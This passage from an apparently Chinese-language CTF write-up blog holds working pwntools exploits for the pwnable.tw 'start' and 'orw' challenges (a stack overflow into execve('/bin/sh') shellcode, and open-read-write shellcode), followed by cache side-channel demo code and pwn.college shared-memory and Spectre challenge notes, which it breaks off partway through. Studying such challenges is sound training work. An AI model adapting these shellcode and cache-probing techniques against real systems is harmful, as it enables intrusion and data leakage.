_start+2B   mov     bl, 1           ; fd
_start+2D   mov     al, 4
_start+2F   int     80h             ; LINUX - sys_write
_start+31   xor     ebx, ebx
_start+33   mov     dl, 3Ch ; &apos;&amp;lt;&apos;
_start+35   mov     al, 3
_start+37   int     80h             ; LINUX -
_start+39   add     esp, 14h
_start+3C   retn
_start+3C   _start endp ; sp-analysis failed
_start+3C
_exit
_exit
_exit      ; Attributes: noreturn
_exit
_exit      ; void exit(int status)
_exit      _exit proc near
_exit
_exit      status= dword ptr  4
_exit
_exit      pop     esp
_exit+1    xor     eax, eax
_exit+3    inc     eax
_exit+4    int     80h             ; LINUX - sys_exit
_exit+4    _exit endp ; sp-analysis failed
_exit+4
_exit+4    _text ends
_exit+4
_exit+4
_exit+4    end _start
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    asm,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;./start&quot;
HOST, PORT = &quot;chall.pwnable.tw&quot;, 10000

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=False)


def main():
    launch()

    target.recvuntil(b&quot;Let&apos;s start the CTF:&quot;)
    raw_input(&quot;DEBUG&quot;)
    payload = flat(
        {
            0: b&quot;/bin/sh\x00&quot;,
            0x14: elf.sym[&quot;_start&quot;] + 39,
        },
        filler=b&quot;\x41&quot;,
    )
    target.send(payload)

    stack = int.from_bytes(target.recv(4), &quot;little&quot;)
    binsh = stack - 0x1C
    target.success(f&quot;stack: {hex(stack)}&quot;)
    target.success(f&quot;binsh: {hex(binsh)}&quot;)

    payload = flat(
        {
            0: asm(
                f&quot;&quot;&quot;
                mov ebx, {binsh}
                mov eax, 0xb
                xor ecx, ecx
                xor edx, edx
                int 0x80
                &quot;&quot;&quot;
            ),
            0x14: stack - 0x4,
        },
        filler=b&quot;\x00&quot;,
    )
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;orw&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Read the flag from /home/orw/flag.&amp;lt;br /&amp;gt;
Only open read write syscall are allowed to use.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;上古时代。你怀念吗？我不……&lt;/p&gt;
&lt;p&gt;分享点好东西：&lt;a href=&quot;https://gist.github.com/CuB3y0nd/09f6e4c3db728b9d2f4714da1cac3ca0&quot;&gt;https://gist.github.com/CuB3y0nd/09f6e4c3db728b9d2f4714da1cac3ca0&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    asm,
    context,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;./orw&quot;
HOST, PORT = &quot;chall.pwnable.tw&quot;, 10001

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=False)


def main():
    launch()

    payload = asm(&quot;&quot;&quot;
        mov ebx, 0x804a094
        mov ecx, 0
        mov eax, 0x5
        int 0x80

        mov ebx, eax
        mov ecx, esp
        mov edx, 0x1337
        mov eax, 0x3
        int 0x80

        mov ebx, 0x1
        mov ecx, esp
        mov edx, 0x1337
        mov eax, 0x4
        int 0x80
    flag:
        .ascii &quot;/home/orw/flag\\x00&quot;
    &quot;&quot;&quot;)
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Write-ups: System Security (Microarchitecture Exploitation) series</title><link>https://cubeyond.net/posts/write-ups/pwncollege-microarchitecture-exploitation/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwncollege-microarchitecture-exploitation/</guid><description>Write-ups for pwn.college microarchitecture exploitation series.</description><pubDate>Fri, 30 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import GithubCard from &quot;@components/misc/GithubCard.astro&quot;;&lt;/p&gt;
&lt;h1&gt;Examples&lt;/h1&gt;
&lt;p&gt;下面给出一些我在学习过程中写的 demo，就不详细说明作用了，只贴一下代码（怕自己弄丢了&lt;/p&gt;
&lt;p&gt;用到的 &lt;a href=&quot;https://github.com/CuB3y0nd/axium&quot;&gt;axium&lt;/a&gt; 是我自己写的内核 / 侧信道框架，点点 star 支持一下谢谢 :P&lt;/p&gt;
&lt;p&gt;&amp;lt;GithubCard repo=&quot;CuB3y0nd/axium&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;对于侧信道，还提供了缓存噪声分析的 dashboard xD&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9kgoy7vdgk.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.77e2h0hk9y.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;每个 chart 都可以单独导出为 PNG，方便嵌入到文档中之类的……&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2h8th9966c.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5fl3krjglm.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2vf984jhze.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.pfumcru8c.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;当然，TUI 的可视化 report 也是必不可少的：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5mobg7aat1.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;探测当前程序内内存映射有没有进缓存&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;axium/axium.h&amp;gt;

#define ARRAY_SIZE 32
#define PAGE_SIZE 0x1000
#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)

int main(int argc, char *argv[]) {
  set_log_level(DEBUG);
  if (argc &amp;lt; 2) {
    log_info(&quot;Usage: %s &amp;lt;IDX&amp;gt;&quot;, argv[0]);
    return 1;
  }

  int target_idx = atoi(argv[1]);
  if (target_idx &amp;lt; 0 || target_idx &amp;gt;= ARRAY_SIZE) {
    log_error(&quot;Index must be between 0 and %d&quot;, ARRAY_SIZE - 1);
  }

  uint8_t *target = mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
  if (target == MAP_FAILED) {
    log_exception(&quot;mmap&quot;);
  }

  uint64_t threshold = cache_calibrate_threshold(target);
  log_info(&quot;Calibrated threshold (context-aware): %lu cycles&quot;, threshold);

  cache_flush_range(target, TOTAL_SIZE);

  maccess(&amp;amp;target[target_idx * PAGE_SIZE]);
  uint64_t results[ARRAY_SIZE];
  for (size_t i = 0; i &amp;lt; ARRAY_SIZE; i++) {
    size_t mixed_idx = MIXED_IDX(i, ARRAY_SIZE - 1);

    uint64_t start = probe_start();
    maccess(&amp;amp;target[mixed_idx * PAGE_SIZE]);
    uint64_t end = probe_end();

    results[mixed_idx] = end - start;
  }

  cache_report_t report;
  cache_analyze(&amp;amp;report, results, ARRAY_SIZE, threshold);
  cache_report(&amp;amp;report);

  if (cache_export_report(&amp;amp;report, &quot;report.json&quot;) == 0) {
    cache_view_report(&quot;report.json&quot;);
  } else {
    log_error(&quot;Report export failed!&quot;);
  }

  munmap(target, TOTAL_SIZE);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;探测其它程序内内存映射有没有进缓存&lt;/h2&gt;
&lt;p&gt;先跑 &lt;code&gt;multiprocess-attacker&lt;/code&gt; 再跑 &lt;code&gt;victim&lt;/code&gt; 访问内存，效果如下：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.67xz4ueh11.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8hgzoc0dp8.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;axium/axium.h&amp;gt;

#define ARRAY_SIZE 32
#define PAGE_SIZE 0x1000
#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)

int main(int argc, char *argv[]) {
  set_log_level(DEBUG);
  if (argc &amp;lt; 3) {
    log_info(&quot;Usage: %s &amp;lt;IDX&amp;gt; &amp;lt;CPU CORE&amp;gt;&quot;, argv[0]);
    return -1;
  }

  int target_idx = atoi(argv[1]);
  if (target_idx &amp;lt; 0 || target_idx &amp;gt;= ARRAY_SIZE)
    log_error(&quot;Index must be between 0 and %d&quot;, ARRAY_SIZE - 1);

  long nprocs = sysconf(_SC_NPROCESSORS_ONLN);
  int chosen_cpu_core = atoi(argv[2]);
  if (chosen_cpu_core &amp;lt; 0 || chosen_cpu_core &amp;gt;= nprocs)
    log_error(&quot;CPU Core number must be between 0 and %ld&quot;, nprocs - 1);
  set_cpu_affinity(chosen_cpu_core);

  int fd = shm_open(&quot;/test&quot;, O_CREAT | O_RDWR, 0666);
  ftruncate(fd, TOTAL_SIZE);

  char *target =
      mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

  log_info(&quot;Victim performing a single access to Index %d...&quot;, target_idx);
  maccess(&amp;amp;target[target_idx * PAGE_SIZE]);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;axium/axium.h&amp;gt;

#define ARRAY_SIZE 32
#define PAGE_SIZE 0x1000
#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)

int main(int argc, char *argv[]) {
  set_log_level(DEBUG);
  if (argc &amp;lt; 2) {
    log_info(&quot;Usage: %s &amp;lt;CPU CORE&amp;gt;&quot;, argv[0]);
    return -1;
  }

  long nprocs = sysconf(_SC_NPROCESSORS_ONLN);
  int chosen_cpu_core = atoi(argv[1]);
  if (chosen_cpu_core &amp;lt; 0 || chosen_cpu_core &amp;gt;= nprocs)
    log_error(&quot;CPU Core number must be between 0 and %ld&quot;, nprocs - 1);
  set_cpu_affinity(chosen_cpu_core);

  shm_unlink(&quot;/test&quot;);
  int fd = shm_open(&quot;/test&quot;, O_CREAT | O_RDWR, 0666);
  ftruncate(fd, TOTAL_SIZE);

  char *target =
      mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

  uint64_t threshold = cache_calibrate_threshold(target);
  log_info(&quot;Calibrated threshold (context-aware): %lu cycles&quot;, threshold);

  if (cache_audit(target, threshold) != 0)
    log_warning(&quot;Audit FAILED: clflush seems ineffective.&quot;);

  cache_watch_report_t report;
  uint64_t hits[ARRAY_SIZE] = {0};
  cache_watch_report_init(&amp;amp;report, hits, ARRAY_SIZE, threshold);

  cache_watch_config config =
      cache_watch_config_init(threshold, ARRAY_SIZE, PAGE_SIZE, 100);

  cache_watch_install_handler(&amp;amp;report, &quot;report.json&quot;);
  cache_watch(target, &amp;amp;config, NULL, &amp;amp;report);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Shared Memory 1.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Get started with interacting with processes via shared memory.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;前两道题不记分，估计是用来让我们熟悉一下共享内存的。&lt;/p&gt;
&lt;p&gt;话不多说，直接逆。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;main&lt;/code&gt; 先调用这个函数，把 flag 读到 &lt;code&gt;bss&lt;/code&gt; 了，没啥说的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int read_flag_to_global()
{
  int v1; // [rsp+8h] [rbp-8h]
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open(&quot;/flag&quot;, 0);
  v1 = read(fd, &amp;amp;flag_val, 0x100u);
  if ( !fd || v1 &amp;lt;= 0 )
  {
    printf(&quot;Failed to read flag file.  Exiting&quot;);
    exit(1);
  }
  return close(fd);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后是核心逻辑：&lt;/p&gt;
&lt;p&gt;必须要 &lt;code&gt;argc&lt;/code&gt; 大于 &lt;code&gt;1&lt;/code&gt;，也就是除了 &lt;code&gt;argv[0]&lt;/code&gt; 外我们起码还得多传一个参数，那具体要几个，以及，这个参数是干啥的呢？&lt;/p&gt;
&lt;p&gt;我们注意到 &lt;code&gt;argv[1]&lt;/code&gt; 被复制到了 &lt;code&gt;dest&lt;/code&gt;，所以这个参数是必要的，没有溢出，设置了 NULL terminate，然后又创建了一个 &lt;code&gt;argva&lt;/code&gt; 参数列表，列表里只有一个参数，即 &lt;code&gt;dest&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  if ( argc &amp;gt; 1 )
  {
    strncpy(dest, argv[1], 0x12Bu);
    dest[299] = 0;
    argva[0] = dest;
    argva[1] = 0;
    shared_page = make_shared_page(&amp;amp;p_sem);
    v12 = (int)time(0) % 13;
    pin_cpu(v12);
    printf(&quot;Pinning processes to CPU %d\n&quot;, v12);
    v14 = fork();
    if ( v14 )
    {
      printf(&quot;Launching your code as PID: %d!\n&quot;, v14);
      puts(&quot;----------------&quot;);
      wait(0);
      v11 = inject_open_shm(v14);
      inject_mmap(v14, v11);
      inject_drop_privs(v14);
      sem = p_sem;
      sem_init(p_sem, 1, 0);
      v9 = sem + 1;
      *(_DWORD *)sem[1].__size = 0;
      fd = open(&quot;/flag&quot;, 0);
      buf = (char *)&amp;amp;p_sem[1].__align + 4;
      read(fd, (char *)&amp;amp;p_sem[1].__align + 4, 0x50u);
      printf(&quot;The flag is now in memory at %p\n&quot;, buf);
      ptrace_detatch(v14);
      shm_unlink(&quot;/pwncollege&quot;);
      puts(&quot;### Goodbye!&quot;);
    }
    else
    {
      ptrace(PTRACE_TRACEME, 0, 0, 0);
      execv(dest, argva);
    }
    return 0;
  }
  else
  {
    puts(&quot;ERROR: argc &amp;lt; 2!&quot;);
    return 1;
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着创建共享页，并设置大小为 &lt;code&gt;0x101000&lt;/code&gt;，然后映射到 &lt;code&gt;0x1337000&lt;/code&gt;，权限是 &lt;code&gt;PROT_READ | PROT_WRITE&lt;/code&gt;，flag 是 &lt;code&gt;MAP_FIXED | MAP_SHARED&lt;/code&gt;，即必须映射到 &lt;code&gt;addr&lt;/code&gt; 指定的地址且映射和 &lt;code&gt;fd&lt;/code&gt; 背后的对象共享，即访问这个映射地址就是访问共享内存。&lt;/p&gt;
&lt;p&gt;此外，&lt;code&gt;0x1337000&lt;/code&gt; 这个地址也将用作全局变量 &lt;code&gt;p_sem&lt;/code&gt;，根据定义，这是一个 &lt;code&gt;semaphore&lt;/code&gt;。然后将共享内存的 &lt;code&gt;fd&lt;/code&gt; 返回，给到 &lt;code&gt;shared_page&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall make_shared_page(sem_t **p_sem)
{
  unsigned int fd; // [rsp+1Ch] [rbp-4h]

  puts(&quot;Creating Shared memory&quot;);
  shm_unlink(&quot;/pwncollege&quot;);
  fd = shm_open(&quot;/pwncollege&quot;, 66, 0x1C7u);
  ftruncate(fd, 0x101000);
  *p_sem = (sem_t *)mmap((void *)0x1337000, 0x101000u, 3, 32769, fd, 0);
  if ( *p_sem != (sem_t *)0x1337000 )
    __assert_fail(&quot;*addr == (char *) mmap_addr&quot;, &quot;babyarchmemflag.c&quot;, 0x169u, &quot;make_shared_page&quot;);
  return fd;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着用当前的时间作为 seed 随机将程序绑定到 $[0, 13)$ 的一个 CPU Core 上运行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall pin_cpu(int n0x3FF)
{
  cpu_set_t cpuset; // [rsp+10h] [rbp-90h] BYREF
  unsigned __int64 n0x3FF_1; // [rsp+98h] [rbp-8h]

  memset(&amp;amp;cpuset, 0, sizeof(cpuset));
  n0x3FF_1 = n0x3FF;
  if ( (unsigned __int64)n0x3FF &amp;lt;= 1023 )
    cpuset.__bits[n0x3FF_1 &amp;gt;&amp;gt; 6] |= 1LL &amp;lt;&amp;lt; (n0x3FF_1 &amp;amp; 63);
  return sched_setaffinity(0, 0x80u, &amp;amp;cpuset);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后创建子进程，子进程会执行 &lt;code&gt;dest&lt;/code&gt;，因此，我们知道 &lt;code&gt;argv[1]&lt;/code&gt; 其实需要传递一个程序路径。此外，由于子进程设置了 &lt;code&gt;PTRACE_TRACEME&lt;/code&gt;，所以父进程可以修改子进程的 stats 。&lt;/p&gt;
&lt;p&gt;一旦 &lt;code&gt;execv&lt;/code&gt; 执行成功，内核会 自动 &lt;code&gt;SIGTRAP&lt;/code&gt;，子进程暂停，父进程开始 &lt;code&gt;ptrace&lt;/code&gt; 操作子进程。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;      ptrace(PTRACE_TRACEME, 0, 0, 0);
      execv(dest, argva);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;父进程通过 &lt;code&gt;wait(0)&lt;/code&gt; 确保子进程发出 &lt;code&gt;SIGTRAP&lt;/code&gt; 信号后，开始 &lt;code&gt;ptrace&lt;/code&gt;，进行一些操作，具体内容自己分析太恶心了，丢给 AI 就好了，我就不写了。大致结果就是将 victim 打开的共享内存页注入到我们的 exp 程序中，省去了我们手动 mmap 绑定的步骤。&lt;/p&gt;
&lt;p&gt;然后将 &lt;code&gt;0x1337000&lt;/code&gt;，也就是 &lt;code&gt;p_sem&lt;/code&gt; 信号量联合体初始化为 &lt;code&gt;0&lt;/code&gt;，之后 &lt;code&gt;open&lt;/code&gt; flag，将 flag 读到 &lt;code&gt;(char *)&amp;amp;p_sem[1].__align + 4&lt;/code&gt; 的位置，这个可以看一下 &lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/sysdeps/unix/sysv/linux/bits/semaphore.h?L35&quot;&gt;sem_t&lt;/a&gt; 的定义：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#if __WORDSIZE == 64
# define __SIZEOF_SEM_T 32
#else
# define __SIZEOF_SEM_T 16
#endif

typedef union
{
  char __size[__SIZEOF_SEM_T];
  long int __align;
} sem_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此它其实就是将 flag 读到了第二个联合体的地址加四的位置。之后 &lt;code&gt;ptrace_detatch&lt;/code&gt; 让子进程继续跑。&lt;/p&gt;
&lt;p&gt;所以我们只要写一个程序去输出 flag 被加载到的位置就好了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;semaphore.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define SHM_BASE 0x1337000
#define SEM_SIZE sizeof(sem_t)
#define OFFSET (SEM_SIZE + 4)
#define FLAG_ADDR (char *)(SHM_BASE + OFFSET)

int main(int argc, char *argv[]) {
  write(1, FLAG_ADDR, 0x100);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Shared Memory 2.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Get started with interacting with processes via shared memory.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上题差不多，区别是父进程的实现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    if ( v14 )
    {
      printf(&quot;Launching your code as PID: %d!\n&quot;, v14);
      puts(&quot;----------------&quot;);
      wait(0);
      v11 = inject_open_shm(v14);
      inject_mmap(v14, v11);
      inject_drop_privs(v14);
      sem = p_sem;
      sem_init(p_sem, 1, 0);
      v9 = sem + 1;
      *(_DWORD *)sem[1].__size = 0;
      printf(&quot;This challenge will read the flag into memory when the semaphore located at %p is incremented.&quot;, sem);
      ptrace_detatch(v14);
      sem_wait(sem);
      fd = open(&quot;/flag&quot;, 0);
      buf = (char *)&amp;amp;p_sem[1].__align + 4;
      read(fd, (char *)&amp;amp;p_sem[1].__align + 4, 0x50u);
      printf(&quot;The flag is now in memory at %p\n&quot;, buf);
      shm_unlink(&quot;/pwncollege&quot;);
      puts(&quot;### Goodbye!&quot;);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;ptrace_detatch&lt;/code&gt; 之后 &lt;code&gt;sem_wait(sem)&lt;/code&gt; 等待信号量被消耗，然后才会去 &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt; flag 。但是由于这个信号量被 &lt;code&gt;sem_init(p_sem, 1, 0)&lt;/code&gt; 初始化为 &lt;code&gt;0&lt;/code&gt;，所以我们的子进程应该使用 &lt;code&gt;sem_post&lt;/code&gt; 增加一下信号量，否则程序会一直等待。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;semaphore.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define SHM_BASE 0x1337000
#define SEM_SIZE sizeof(sem_t)
#define OFFSET (SEM_SIZE + 4)
#define FLAG_ADDR (char *)(SHM_BASE + OFFSET)
#define SEM_ADDR (sem_t *)SHM_BASE

int main(int argc, char *argv[]) {
  sem_post(SEM_ADDR);
  write(1, FLAG_ADDR, 0x100);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Baby Spectre 1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Get started with a binary that side-channels itself!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;正菜才刚刚开始。&lt;/p&gt;
&lt;p&gt;简单逆向一下，我们可知 &lt;code&gt;&amp;amp;sem[1] = p_sem = 0x1337000&lt;/code&gt;，会被初始化为 &lt;code&gt;0&lt;/code&gt;，由于后续 &lt;code&gt;sem_wait(*(sem_t **)&amp;amp;sem[1])&lt;/code&gt; 的阻塞，故需要我们手动增加这个信号量，否则不会执行攻击；&lt;code&gt;&amp;amp;sem[1] + 32LL&lt;/code&gt; 则是用于控制要访问的 flag byte 的 idx 。&lt;/p&gt;
&lt;p&gt;然后这部分是非阻塞式地检查子进程有没有退出，退出则结束程序：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pid_1 = waitpid(pid, &amp;amp;stat_loc, 1);
if ( pid == pid_1 )
  break;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;flush_cache&lt;/code&gt; 会将以 &lt;code&gt;0x1337000&lt;/code&gt; 为基页的第二页，即 &lt;code&gt;0x1338000&lt;/code&gt; 从 cache 中清空。&lt;/p&gt;
&lt;p&gt;之后的 &lt;code&gt;&amp;amp;p_sem[128 * flag_val[*idx] + 128];&lt;/code&gt; 其实就是 &lt;code&gt;*(0x1337000 + 0x1000 * flag_byte + 0x1000)&lt;/code&gt;，也就是摸了一下 &lt;code&gt;0x1338000 + flag_byte * 0x1000&lt;/code&gt; 这一页，让这一页的前 64 字节进入 L1 Cache 。&lt;/p&gt;
&lt;p&gt;:::tip
至于为什么是 &lt;code&gt;0x1000&lt;/code&gt;，其实是因为 C 是根据 &lt;code&gt;sizeof(type)&lt;/code&gt; 进行索引换算的，即 &lt;code&gt;sem_t *p_sem&lt;/code&gt; 在 C 语言的逻辑里：&lt;code&gt;p_sem[N]&lt;/code&gt; 的实际地址为 &lt;code&gt;p_sem + (N * sizeof(sem_t))&lt;/code&gt;，由于 &lt;code&gt;sizeof(sem_t) == 0x20&lt;/code&gt;，所以这里的两个 &lt;code&gt;128&lt;/code&gt; 其实应该换算为 &lt;code&gt;0x1000&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这里看汇编的话其实更清楚，因为可以直接看到换算后的结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;main+594  mov     rax, [rbp+idx]
main+59B  mov     eax, [rax]
main+59D  cdqe
main+59F  lea     rdx, flag_val
main+5A6  movzx   eax, byte ptr [rax+rdx]
main+5AA  mov     [rbp+var_A72], al
main+5B0  mov     rax, [rbp+p_sem]
main+5B7  movsx   edx, [rbp+var_A72]
main+5BE  shl     edx, 0Ch
main+5C1  movsxd  rdx, edx
main+5C4  add     rdx, 1000h
main+5CB  add     rax, rdx
main+5CE  mov     [rbp+var_A40], rax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
